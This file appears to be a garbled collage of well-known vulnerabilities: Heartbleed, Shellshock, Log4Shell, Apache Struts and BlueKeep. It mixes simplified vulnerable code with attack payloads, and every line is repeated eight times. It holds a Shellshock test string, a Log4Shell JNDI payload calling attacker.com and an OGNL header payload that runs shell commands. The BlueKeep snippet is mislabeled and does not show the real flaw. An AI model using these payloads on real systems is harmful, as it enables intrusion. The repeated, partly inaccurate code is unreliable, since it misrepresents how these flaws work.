1/* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */
2int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) {
3 unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl;
4 unsigned short hbtype; unsigned short hbtype; unsigned short hbtype; unsigned short hbtype; unsigned short hbtype; unsigned short hbtype; unsigned short hbtype; unsigned short hbtype;
5 unsigned int payload; unsigned int payload; unsigned int payload; unsigned int payload; unsigned int payload; unsigned int payload; unsigned int payload; unsigned int payload;
6 hbtype = *p++; hbtype = *p++; hbtype = *p++; hbtype = *p++; hbtype = *p++; hbtype = *p++; hbtype = *p++; hbtype = *p++;
7 n2s(p, payload); n2s(p, payload); n2s(p, payload); n2s(p, payload); n2s(p, payload); n2s(p, payload); n2s(p, payload); n2s(p, payload);
8 pl = p; pl = p; pl = p; pl = p; pl = p; pl = p; pl = p; pl = p;
9 // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length
10 memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload);
11 // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory
12 return 0; return 0; return 0; return 0; return 0; return 0; return 0; return 0;
13} } } } } } } }
14
15/* CVE-2014-6271 — Shellshock */ /* CVE-2014-6271 — Shellshock */ /* CVE-2014-6271 — Shellshock */ /* CVE-2014-6271 — Shellshock */ /* CVE-2014-6271 — Shellshock */ /* CVE-2014-6271 — Shellshock */ /* CVE-2014-6271 — Shellshock */ /* CVE-2014-6271 — Shellshock */
16env x='() { :;}; echo vulnerable' bash -c "echo test" env x='() { :;}; echo vulnerable' bash -c "echo test" env x='() { :;}; echo vulnerable' bash -c "echo test" env x='() { :;}; echo vulnerable' bash -c "echo test" env x='() { :;}; echo vulnerable' bash -c "echo test" env x='() { :;}; echo vulnerable' bash -c "echo test" env x='() { :;}; echo vulnerable' bash -c "echo test" env x='() { :;}; echo vulnerable' bash -c "echo test"
17// Bash parses function definitions in environment // Bash parses function definitions in environment // Bash parses function definitions in environment // Bash parses function definitions in environment // Bash parses function definitions in environment // Bash parses function definitions in environment // Bash parses function definitions in environment // Bash parses function definitions in environment
18// variables but continues executing trailing commands // variables but continues executing trailing commands // variables but continues executing trailing commands // variables but continues executing trailing commands // variables but continues executing trailing commands // variables but continues executing trailing commands // variables but continues executing trailing commands // variables but continues executing trailing commands
19parse_and_execute(string, name, SEVAL_NONINT); parse_and_execute(string, name, SEVAL_NONINT); parse_and_execute(string, name, SEVAL_NONINT); parse_and_execute(string, name, SEVAL_NONINT); parse_and_execute(string, name, SEVAL_NONINT); parse_and_execute(string, name, SEVAL_NONINT); parse_and_execute(string, name, SEVAL_NONINT); parse_and_execute(string, name, SEVAL_NONINT);
20// allows remote code execution via CGI, SSH, DHCP // allows remote code execution via CGI, SSH, DHCP // allows remote code execution via CGI, SSH, DHCP // allows remote code execution via CGI, SSH, DHCP // allows remote code execution via CGI, SSH, DHCP // allows remote code execution via CGI, SSH, DHCP // allows remote code execution via CGI, SSH, DHCP // allows remote code execution via CGI, SSH, DHCP
21if (assignment_acceptable(last_command_exit_value)) if (assignment_acceptable(last_command_exit_value)) if (assignment_acceptable(last_command_exit_value)) if (assignment_acceptable(last_command_exit_value)) if (assignment_acceptable(last_command_exit_value)) if (assignment_acceptable(last_command_exit_value)) if (assignment_acceptable(last_command_exit_value)) if (assignment_acceptable(last_command_exit_value))
22 command = parse_command(); command = parse_command(); command = parse_command(); command = parse_command(); command = parse_command(); command = parse_command(); command = parse_command(); command = parse_command();
23
24/* CVE-2021-44228 — Log4Shell */ /* CVE-2021-44228 — Log4Shell */ /* CVE-2021-44228 — Log4Shell */ /* CVE-2021-44228 — Log4Shell */ /* CVE-2021-44228 — Log4Shell */ /* CVE-2021-44228 — Log4Shell */ /* CVE-2021-44228 — Log4Shell */ /* CVE-2021-44228 — Log4Shell */
25public class JndiLookup implements StrLookup { public class JndiLookup implements StrLookup { public class JndiLookup implements StrLookup { public class JndiLookup implements StrLookup { public class JndiLookup implements StrLookup { public class JndiLookup implements StrLookup { public class JndiLookup implements StrLookup { public class JndiLookup implements StrLookup {
26 public String lookup(LogEvent event, String key) { public String lookup(LogEvent event, String key) { public String lookup(LogEvent event, String key) { public String lookup(LogEvent event, String key) { public String lookup(LogEvent event, String key) { public String lookup(LogEvent event, String key) { public String lookup(LogEvent event, String key) { public String lookup(LogEvent event, String key) {
27 // BUG: user input passed directly to JNDI lookup // BUG: user input passed directly to JNDI lookup // BUG: user input passed directly to JNDI lookup // BUG: user input passed directly to JNDI lookup // BUG: user input passed directly to JNDI lookup // BUG: user input passed directly to JNDI lookup // BUG: user input passed directly to JNDI lookup // BUG: user input passed directly to JNDI lookup
28 return Objects.toString( return Objects.toString( return Objects.toString( return Objects.toString( return Objects.toString( return Objects.toString( return Objects.toString( return Objects.toString(
29 JndiManager.getDefaultManager().lookup(key), key JndiManager.getDefaultManager().lookup(key), key JndiManager.getDefaultManager().lookup(key), key JndiManager.getDefaultManager().lookup(key), key JndiManager.getDefaultManager().lookup(key), key JndiManager.getDefaultManager().lookup(key), key JndiManager.getDefaultManager().lookup(key), key JndiManager.getDefaultManager().lookup(key), key
30 ); ); ); ); ); ); ); );
31 } } } } } } } }
32} } } } } } } }
33// payload: ${jndi:ldap://attacker.com/exploit} // payload: ${jndi:ldap://attacker.com/exploit} // payload: ${jndi:ldap://attacker.com/exploit} // payload: ${jndi:ldap://attacker.com/exploit} // payload: ${jndi:ldap://attacker.com/exploit} // payload: ${jndi:ldap://attacker.com/exploit} // payload: ${jndi:ldap://attacker.com/exploit} // payload: ${jndi:ldap://attacker.com/exploit}
34// triggers remote class loading via crafted log message // triggers remote class loading via crafted log message // triggers remote class loading via crafted log message // triggers remote class loading via crafted log message // triggers remote class loading via crafted log message // triggers remote class loading via crafted log message // triggers remote class loading via crafted log message // triggers remote class loading via crafted log message
35logger.info("User-Agent: " + request.getHeader("User-Agent")); logger.info("User-Agent: " + request.getHeader("User-Agent")); logger.info("User-Agent: " + request.getHeader("User-Agent")); logger.info("User-Agent: " + request.getHeader("User-Agent")); logger.info("User-Agent: " + request.getHeader("User-Agent")); logger.info("User-Agent: " + request.getHeader("User-Agent")); logger.info("User-Agent: " + request.getHeader("User-Agent")); logger.info("User-Agent: " + request.getHeader("User-Agent"));
36
37/* CVE-2017-5638 — Apache Struts RCE */ /* CVE-2017-5638 — Apache Struts RCE */ /* CVE-2017-5638 — Apache Struts RCE */ /* CVE-2017-5638 — Apache Struts RCE */ /* CVE-2017-5638 — Apache Struts RCE */ /* CVE-2017-5638 — Apache Struts RCE */ /* CVE-2017-5638 — Apache Struts RCE */ /* CVE-2017-5638 — Apache Struts RCE */
38Content-Type: %{(#_='multipart/form-data'). Content-Type: %{(#_='multipart/form-data'). Content-Type: %{(#_='multipart/form-data'). Content-Type: %{(#_='multipart/form-data'). Content-Type: %{(#_='multipart/form-data'). Content-Type: %{(#_='multipart/form-data'). Content-Type: %{(#_='multipart/form-data'). Content-Type: %{(#_='multipart/form-data').
39 (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
40 (#_memberAccess?(#_memberAccess=#dm): (#_memberAccess?(#_memberAccess=#dm): (#_memberAccess?(#_memberAccess=#dm): (#_memberAccess?(#_memberAccess=#dm): (#_memberAccess?(#_memberAccess=#dm): (#_memberAccess?(#_memberAccess=#dm): (#_memberAccess?(#_memberAccess=#dm): (#_memberAccess?(#_memberAccess=#dm):
41 (#container=#context['com.opensymphony.xwork2 (#container=#context['com.opensymphony.xwork2 (#container=#context['com.opensymphony.xwork2 (#container=#context['com.opensymphony.xwork2 (#container=#context['com.opensymphony.xwork2 (#container=#context['com.opensymphony.xwork2 (#container=#context['com.opensymphony.xwork2 (#container=#context['com.opensymphony.xwork2
42 .ActionContext.container'])). .ActionContext.container'])). .ActionContext.container'])). .ActionContext.container'])). .ActionContext.container'])). .ActionContext.container'])). .ActionContext.container'])). .ActionContext.container'])).
43 (#cmd='whoami').(#iswin=(@java.lang.System (#cmd='whoami').(#iswin=(@java.lang.System (#cmd='whoami').(#iswin=(@java.lang.System (#cmd='whoami').(#iswin=(@java.lang.System (#cmd='whoami').(#iswin=(@java.lang.System (#cmd='whoami').(#iswin=(@java.lang.System (#cmd='whoami').(#iswin=(@java.lang.System (#cmd='whoami').(#iswin=(@java.lang.System
44 @getProperty('os.name').toLowerCase() @getProperty('os.name').toLowerCase() @getProperty('os.name').toLowerCase() @getProperty('os.name').toLowerCase() @getProperty('os.name').toLowerCase() @getProperty('os.name').toLowerCase() @getProperty('os.name').toLowerCase() @getProperty('os.name').toLowerCase()
45 .contains('win'))).(#cmds=(#iswin? .contains('win'))).(#cmds=(#iswin? .contains('win'))).(#cmds=(#iswin? .contains('win'))).(#cmds=(#iswin? .contains('win'))).(#cmds=(#iswin? .contains('win'))).(#cmds=(#iswin? .contains('win'))).(#cmds=(#iswin? .contains('win'))).(#cmds=(#iswin?
46 {'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})) {'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})) {'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})) {'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})) {'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})) {'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})) {'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})) {'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd}))
47
48/* CVE-2019-0708 — BlueKeep */ /* CVE-2019-0708 — BlueKeep */ /* CVE-2019-0708 — BlueKeep */ /* CVE-2019-0708 — BlueKeep */ /* CVE-2019-0708 — BlueKeep */ /* CVE-2019-0708 — BlueKeep */ /* CVE-2019-0708 — BlueKeep */ /* CVE-2019-0708 — BlueKeep */
49BOOL rdp_parse_server_settings(rdpRdp* rdp, BOOL rdp_parse_server_settings(rdpRdp* rdp, BOOL rdp_parse_server_settings(rdpRdp* rdp, BOOL rdp_parse_server_settings(rdpRdp* rdp, BOOL rdp_parse_server_settings(rdpRdp* rdp, BOOL rdp_parse_server_settings(rdpRdp* rdp, BOOL rdp_parse_server_settings(rdpRdp* rdp, BOOL rdp_parse_server_settings(rdpRdp* rdp,
50 STREAM* s, UINT16 length) { STREAM* s, UINT16 length) { STREAM* s, UINT16 length) { STREAM* s, UINT16 length) { STREAM* s, UINT16 length) { STREAM* s, UINT16 length) { STREAM* s, UINT16 length) { STREAM* s, UINT16 length) {
51 // Use-after-free in RDP channel handling // Use-after-free in RDP channel handling // Use-after-free in RDP channel handling // Use-after-free in RDP channel handling // Use-after-free in RDP channel handling // Use-after-free in RDP channel handling // Use-after-free in RDP channel handling // Use-after-free in RDP channel handling
52 if (channelCount > 0) { if (channelCount > 0) { if (channelCount > 0) { if (channelCount > 0) { if (channelCount > 0) { if (channelCount > 0) { if (channelCount > 0) { if (channelCount > 0) {
53 channelDefArray = malloc(channelCount * channelDefArray = malloc(channelCount * channelDefArray = malloc(channelCount * channelDefArray = malloc(channelCount * channelDefArray = malloc(channelCount * channelDefArray = malloc(channelCount * channelDefArray = malloc(channelCount * channelDefArray = malloc(channelCount *
54 sizeof(CHANNEL_DEF)); sizeof(CHANNEL_DEF)); sizeof(CHANNEL_DEF)); sizeof(CHANNEL_DEF)); sizeof(CHANNEL_DEF)); sizeof(CHANNEL_DEF)); sizeof(CHANNEL_DEF)); sizeof(CHANNEL_DEF));
55 // BUG: freed memory later dereferenced // BUG: freed memory later dereferenced // BUG: freed memory later dereferenced // BUG: freed memory later dereferenced // BUG: freed memory later dereferenced // BUG: freed memory later dereferenced // BUG: freed memory later dereferenced // BUG: freed memory later dereferenced
56 free(channelDefArray); free(channelDefArray); free(channelDefArray); free(channelDefArray); free(channelDefArray); free(channelDefArray); free(channelDefArray); free(channelDefArray);
57 channelDefArray[i].name = channelName; channelDefArray[i].name = channelName; channelDefArray[i].name = channelName; channelDefArray[i].name = channelName; channelDefArray[i].name = channelName; channelDefArray[i].name = channelName; channelDefArray[i].name = channelName; channelDefArray[i].name = channelName;
58 } } } } } } } }
59} } } } } } } }
60/* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */ /* CVE-2014-0160 — Heartbleed */
61int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) { int dtls1_process_heartbeat(SSL *s) {
62 unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned char *p = &s->s3->rrec.data[0], *pl;
63 unsigned short hbtype; unsigned short hbtype; unsigned short hbtype; unsigned short hbtype; unsigned short hbtype; unsigned short hbtype; unsigned short hbtype; unsigned short hbtype;
64 unsigned int payload; unsigned int payload; unsigned int payload; unsigned int payload; unsigned int payload; unsigned int payload; unsigned int payload; unsigned int payload;
65 hbtype = *p++; hbtype = *p++; hbtype = *p++; hbtype = *p++; hbtype = *p++; hbtype = *p++; hbtype = *p++; hbtype = *p++;
66 n2s(p, payload); n2s(p, payload); n2s(p, payload); n2s(p, payload); n2s(p, payload); n2s(p, payload); n2s(p, payload); n2s(p, payload);
67 pl = p; pl = p; pl = p; pl = p; pl = p; pl = p; pl = p; pl = p;
68 // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length // BUG: no bounds check on payload length
69 memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload); memcpy(bp, pl, payload);
70 // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory // attacker reads up to 64KB of server memory
